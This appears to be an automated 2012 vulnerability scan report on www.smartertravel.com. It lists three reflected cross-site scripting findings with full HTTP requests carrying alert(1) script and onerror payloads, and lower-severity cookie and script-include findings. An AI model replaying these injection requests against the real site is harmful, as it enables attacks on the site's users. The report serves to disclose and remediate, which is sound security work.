Report generated by HTI at Sat Sep 01 09:29:50 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.smartertravel.com

Loading

1. Cross-site scripting (reflected)

1.1. http://www.smartertravel.com/ajax/ [REST URL parameter 1]

1.2. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html [REST URL parameter 3]

1.3. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html [element parameter]

2. Cookie scoped to parent domain

2.1. http://www.smartertravel.com/

2.2. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html

3. Cross-domain script include

4. Cookie without HttpOnly flag set

4.1. http://www.smartertravel.com/

4.2. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html

5. HTML does not specify charset

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.smartertravel.com/ajax/ [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /ajax/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c5fa4<script>alert(1)</script>77d4c85f88a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ajaxc5fa4<script>alert(1)</script>77d4c85f88a/?service=LocationSuggest.ip&args=%7B%22type%22%3A%22airport%22%7D HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.smartertravel.com/
Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 19140
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:05:51 GMT
Connection: close
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:50 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:50 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:05:50 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:05:50 GMT; path=/; domain=.smartertravel.com
Set-Cookie: o_prvchan=404+Error; path=/; domain=smartertravel.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
</strong> http://www.smartertravel.com/ajaxc5fa4<script>alert(1)</script>77d4c85f88a/</p>
...[SNIP]...

1.2. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /service/InlineSubscriptions/getSubscriptionsComponents.html

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b7054<script>alert(1)</script>215318d2d71 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /service/InlineSubscriptions/getSubscriptionsComponents.htmlb7054<script>alert(1)</script>215318d2d71?element=gx4phw5w&dc=Dallas%2C%20TX%20(DFW)&ac= HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Request: JSON
Referer: http://www.smartertravel.com/
Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22Dallas%2C%20TX%20(DFW)%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; iploc=Dallas, TX (DFW)
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 19243
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:06:35 GMT
Connection: close
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:34 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:34 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:06:34 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:06:34 GMT; path=/; domain=.smartertravel.com
Set-Cookie: o_prvchan=404+Error; path=/; domain=smartertravel.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="h
...[SNIP]...
</strong> http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.htmlb7054<script>alert(1)</script>215318d2d71</p>
...[SNIP]...

1.3. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html [element parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /service/InlineSubscriptions/getSubscriptionsComponents.html

Issue detail

The value of the element request parameter is copied into the HTML document as plain text between tags. The payload 4a9f1<img%20src%3da%20onerror%3dalert(1)>d7e87b7e606 was submitted in the element parameter. This input was echoed as 4a9f1<img src=a onerror=alert(1)>d7e87b7e606 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /service/InlineSubscriptions/getSubscriptionsComponents.html?element=gx4phw5w4a9f1<img%20src%3da%20onerror%3dalert(1)>d7e87b7e606&dc=Dallas%2C%20TX%20(DFW)&ac= HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Request: JSON
Referer: http://www.smartertravel.com/
Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22Dallas%2C%20TX%20(DFW)%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; iploc=Dallas, TX (DFW)
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Fri, 06 Jan 2012 05:00:00 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 632
Content-Type: application/json
Date: Sat, 07 Jan 2012 14:06:29 GMT
Connection: close
Set-Cookie: pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; expires=Mon, 06-Feb-2012 14:06:29 GMT; path=/; domain=.smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:28 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:28 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:06:28 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:06:28 GMT; path=/; domain=.smartertravel.com

[{"type":"element_update","element_id":"gx4phw5w4a9f1<img src=a onerror=alert(1)>d7e87b7e606","html":"<div class=\"type_checkbox\">\n\t<input id=\"sub_to_dep\" type=\"checkbox\" name=\"sub_to_dep\" va
...[SNIP]...

2. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://www.smartertravel.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.smartertravelmedia.com/
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 103010
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:05:26 GMT
Connection: close
Set-Cookie: STM=b00e409d29501dded34fbcde78889a9658ef63cbb50887d222587a9b4a76a8cc53871c5224b7fd52464a3aabb55318f044d22e0220cad4184aea8684706f16b4; expires=Sun, 06-Jan-2013 14:05:26 GMT; path=/
Set-Cookie: vid=4f085126343309.84480028; path=/; domain=.smartertravel.com
Set-Cookie: uu=501e2144-0b84-4ea7-ae9d-676fb0e02245; path=/; domain=.smartertravel.com
Set-Cookie: pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; expires=Mon, 06-Feb-2012 14:05:26 GMT; path=/; domain=.smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: entry_time=time; path=/; domain=smartertravel.com
Set-Cookie: o_prvchan=Home+Page; path=/; domain=smartertravel.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if IE 6]><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.
...[SNIP]...

2.2. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /service/InlineSubscriptions/getSubscriptionsComponents.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /service/InlineSubscriptions/getSubscriptionsComponents.html?element=gx4phw5w&dc=Dallas%2C%20TX%20(DFW)&ac= HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Request: JSON
Referer: http://www.smartertravel.com/
Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22Dallas%2C%20TX%20(DFW)%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; iploc=Dallas, TX (DFW)
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Fri, 06 Jan 2012 05:00:00 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 588
Content-Type: application/json
Date: Sat, 07 Jan 2012 14:06:01 GMT
Connection: close
Set-Cookie: pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; expires=Mon, 06-Feb-2012 14:06:01 GMT; path=/; domain=.smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=.smartertravel.com

[{"type":"element_update","element_id":"gx4phw5w","html":"<div class=\"type_checkbox\">\n\t<input id=\"sub_to_dep\" type=\"checkbox\" name=\"sub_to_dep\" value=\"true\"\n\t\t \/>\n\t<label for=\"su
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfill, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET / HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.smartertravelmedia.com/
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 103010
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:05:26 GMT
Connection: close
Set-Cookie: STM=b00e409d29501dded34fbcde78889a9658ef63cbb50887d222587a9b4a76a8cc53871c5224b7fd52464a3aabb55318f044d22e0220cad4184aea8684706f16b4; expires=Sun, 06-Jan-2013 14:05:26 GMT; path=/
Set-Cookie: vid=4f085126343309.84480028; path=/; domain=.smartertravel.com
Set-Cookie: uu=501e2144-0b84-4ea7-ae9d-676fb0e02245; path=/; domain=.smartertravel.com
Set-Cookie: pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; expires=Mon, 06-Feb-2012 14:05:26 GMT; path=/; domain=.smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: entry_time=time; path=/; domain=smartertravel.com
Set-Cookie: o_prvchan=Home+Page; path=/; domain=smartertravel.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if IE 6]><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.
...[SNIP]...
<![endif]--><script type="text/javascript" src="http://j.slimg.com/js/ST/framework/2011-05-12.nano.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://j.slimg.com/js/20111227092635/site/st.js?nano=1"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://j.slimg.com/js/20111227092635/smartertravel/omniture_st.js"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://www.smartertravel.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.smartertravelmedia.com/
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 103010
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:05:26 GMT
Connection: close
Set-Cookie: STM=b00e409d29501dded34fbcde78889a9658ef63cbb50887d222587a9b4a76a8cc53871c5224b7fd52464a3aabb55318f044d22e0220cad4184aea8684706f16b4; expires=Sun, 06-Jan-2013 14:05:26 GMT; path=/
Set-Cookie: vid=4f085126343309.84480028; path=/; domain=.smartertravel.com
Set-Cookie: uu=501e2144-0b84-4ea7-ae9d-676fb0e02245; path=/; domain=.smartertravel.com
Set-Cookie: pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; expires=Mon, 06-Feb-2012 14:05:26 GMT; path=/; domain=.smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:05:25 GMT; path=/; domain=.smartertravel.com
Set-Cookie: entry_time=time; path=/; domain=smartertravel.com
Set-Cookie: o_prvchan=Home+Page; path=/; domain=smartertravel.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--[if IE 6]><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.
...[SNIP]...

4.2. http://www.smartertravel.com/service/InlineSubscriptions/getSubscriptionsComponents.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /service/InlineSubscriptions/getSubscriptionsComponents.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /service/InlineSubscriptions/getSubscriptionsComponents.html?element=gx4phw5w&dc=Dallas%2C%20TX%20(DFW)&ac= HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Request: JSON
Referer: http://www.smartertravel.com/
